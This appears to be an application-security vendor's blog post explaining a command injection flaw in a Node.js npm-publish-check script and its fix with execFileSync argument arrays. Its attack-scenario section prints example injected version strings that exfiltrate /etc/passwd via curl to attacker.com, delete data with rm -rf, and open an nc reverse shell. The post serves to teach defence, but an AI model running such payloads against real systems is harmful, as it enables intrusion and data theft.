Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A command injection vulnerability was discovered in `scripts/check-publish-status.js` where the `version` parameter was interpolated directly into shell commands via `execSync`. By switching to `execFileSync` with argument arrays, the fix eliminates shell interpretation entirely, preventing any attacker-controlled input from being executed as shell commands.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `scripts/check-publish-status.js` at line 27. The `version` function argument was interpolated directly into shell commands using `execSync` template literals, allowing shell metacharacters to execute arbitrary commands. The fix replaces `execSync` with `execFileSync` and passes arguments as an array, bypassing the shell entirely so no interpolation can occur.

Vulnerability at a Glance

cweCWE-78
fixReplaced execSync template literals with execFileSync and argument arrays to bypass shell interpretation
riskArbitrary OS command execution if version input is attacker-controlled
languageJavaScript (Node.js)
root causeUser-supplied `version` argument interpolated into shell command string passed to execSync
vulnerabilityCommand Injection via child_process.execSync

The Problem with Shell Strings and Version Numbers

The scripts/check-publish-status.js file in the mcp-wordpress package performs a routine task: checking whether a given package version has been published to NPM. It accepts a version argument and uses it to query the NPM registry. Simple enough — but the way that version was woven into shell commands created a high-severity command injection vulnerability.

At line 27, the original code used Node.js's execSync to run npm commands, building the command string by directly interpolating the version parameter:

execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
  encoding: "utf-8",
});

This pattern — a template literal containing an external variable passed to execSync — is exactly the kind of construct that Semgrep's javascript.lang.security.detect-child-process.detect-child-process rule is designed to catch. And for good reason.


The Vulnerability Explained

What Makes This Dangerous

execSync works by passing the entire string to the system shell (/bin/sh on Unix, cmd.exe on Windows). The shell then parses and executes it. That means any shell metacharacters present in the string — ;, &&, |, $(), backticks — are interpreted as shell syntax, not as data.

Here's the vulnerable code pattern in full context:

// VULNERABLE — before the fix
async function checkNPM(version) {
  // ...
  if (version) {
    try {
      execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
        encoding: "utf-8",
      });
      console.log(`✅ Version ${version} exists on NPM`);
    } catch {
      console.log(`❌ Version ${version} NOT found on NPM`);
      return false;
    }
  }

  const publishTime = execSync(`npm view ${PACKAGE_NAME} time.${version || npmVersion}`, {
    encoding: "utf-8",
  }).trim();

The version variable flows directly into two separate execSync calls. If an attacker can control the value of version, they control what the shell executes.

A Concrete Attack Scenario

Imagine this script is called programmatically by a CI/CD pipeline, a webhook handler, or a parent process that accepts external input:

node scripts/check-publish-status.js "1.0.0; curl https://attacker.com/exfil?data=$(cat /etc/passwd) #"

The shell would see:

npm view mcp-wordpress@1.0.0; curl https://attacker.com/exfil?data=$(cat /etc/passwd) # version

The semicolon terminates the npm command, and the curl command runs in the same shell context — exfiltrating /etc/passwd to an attacker's server. The # comments out the trailing version argument to avoid syntax errors.

More subtle injections are also possible:

// version = "1.0.0 && rm -rf /tmp/important-data"
// version = "1.0.0 | nc attacker.com 4444 -e /bin/sh"

Real-World Impact for This Package

mcp-wordpress is a Node.js library consumed by downstream users. While this script lives in the scripts/ directory and is primarily a developer utility, the risk is real in several scenarios:

  • Automated release pipelines that pass version strings from external sources (GitHub webhooks, API responses, user input) into this script
  • CI/CD systems where the version parameter originates from a pull request title, tag name, or environment variable that an attacker could influence
  • Chained exploits where another vulnerability in the codebase allows an attacker to influence the version argument passed to checkNPM()

Even if the immediate exploitability is low, this is an exploit primitive — a code pattern that automated attack tooling can identify and chain with other weaknesses.


The Fix

Switching from execSync to execFileSync

The fix is elegant and complete: replace every execSync shell-string call with execFileSync using an argument array.

Before (vulnerable):

execSync(`npm view ${PACKAGE_NAME}@${version} version`, {
  encoding: "utf-8",
});

After (fixed):

execFileSync("npm", ["view", PACKAGE_NAME + "@" + version, "version"], {
  encoding: "utf-8",
});

And for the publish time check:

Before (vulnerable):

const publishTime = execSync(`npm view ${PACKAGE_NAME} time.${version || npmVersion}`, {
  encoding: "utf-8",
}).trim();

After (fixed):

const publishTime = execFileSync("npm", ["view", PACKAGE_NAME, "time." + (version || npmVersion)], {
  encoding: "utf-8",
}).trim();

Why This Works

execFileSync (and its sibling spawnSync) do not invoke a shell. Instead, they call the OS's execve system call directly, passing arguments as a proper array. The operating system hands each array element to the process as a discrete argument — no shell parsing, no metacharacter interpretation, no interpolation.

If version contains ; rm -rf / when passed to execFileSync, npm receives the literal string mcp-wordpress@; rm -rf / as its argument and will simply fail to find a package with that name. The shell never sees it.

Aspect execSync (before) execFileSync (after)
Shell invoked? ✅ Yes ❌ No
Metacharacters interpreted? ✅ Yes ❌ No
Arguments separated safely? ❌ No (string concat) ✅ Yes (array)
Command injection possible? ✅ Yes ❌ No

The fix also removes template literals from the console.log calls, replacing them with string concatenation. While this doesn't affect security directly (template literals in log statements are safe), it's consistent defensive hygiene that eliminates the visual pattern of interpolation throughout the function.


Key Takeaways

  • execSync with template literals is inherently dangerous — every use of execSync(\...\${variable}...`)` is a potential command injection waiting for the right input path
  • The version parameter in checkNPM() was the specific taint source — it flowed unsanitized into two separate shell commands in check-publish-status.js
  • execFileSync with argument arrays is the correct fix, not input sanitization — bypassing the shell entirely is categorically safer than trying to sanitize shell metacharacters
  • Developer utility scripts are not immune to security review — scripts in the scripts/ directory can be called programmatically and deserve the same scrutiny as application code
  • Exploit primitives matter even when not immediately exploitable — this pattern could be chained with other weaknesses by automated attack tools, making proactive removal valuable

How Orbis AppSec Detected This

  • Source: The version function argument in checkNPM(version) — a string parameter that could originate from command-line input, CI/CD pipeline variables, or programmatic callers
  • Sink: execSync(\npm view ${PACKAGE_NAME}@${version} version`)atscripts/check-publish-status.js:27` — a shell execution call that interpolates the tainted value directly into the command string
  • Missing control: No validation, sanitization, or allowlist check on version before interpolation; no use of shell-bypassing APIs
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced both execSync template literal calls with execFileSync plus argument arrays, eliminating shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single function — checkNPM(version) in scripts/check-publish-status.js — contained two instances of a high-severity command injection pattern. The root cause was straightforward: using execSync with template literals that included an unsanitized function argument. The fix was equally straightforward: switch to execFileSync with argument arrays.

What makes this case instructive is that the script's purpose is benign (checking publish status) and the argument seems innocuous (a version string). But security vulnerabilities don't care about intent. Any time external data flows into a shell command string, the door is open for injection.

The lesson for Node.js developers: treat every execSync call with a variable in the string as a code smell. Reach for execFileSync or spawnSync by default, reserve shell execution for cases where you genuinely need shell features (pipes, globbing, redirects), and when you do use it, validate input with a strict allowlist first.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #231

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.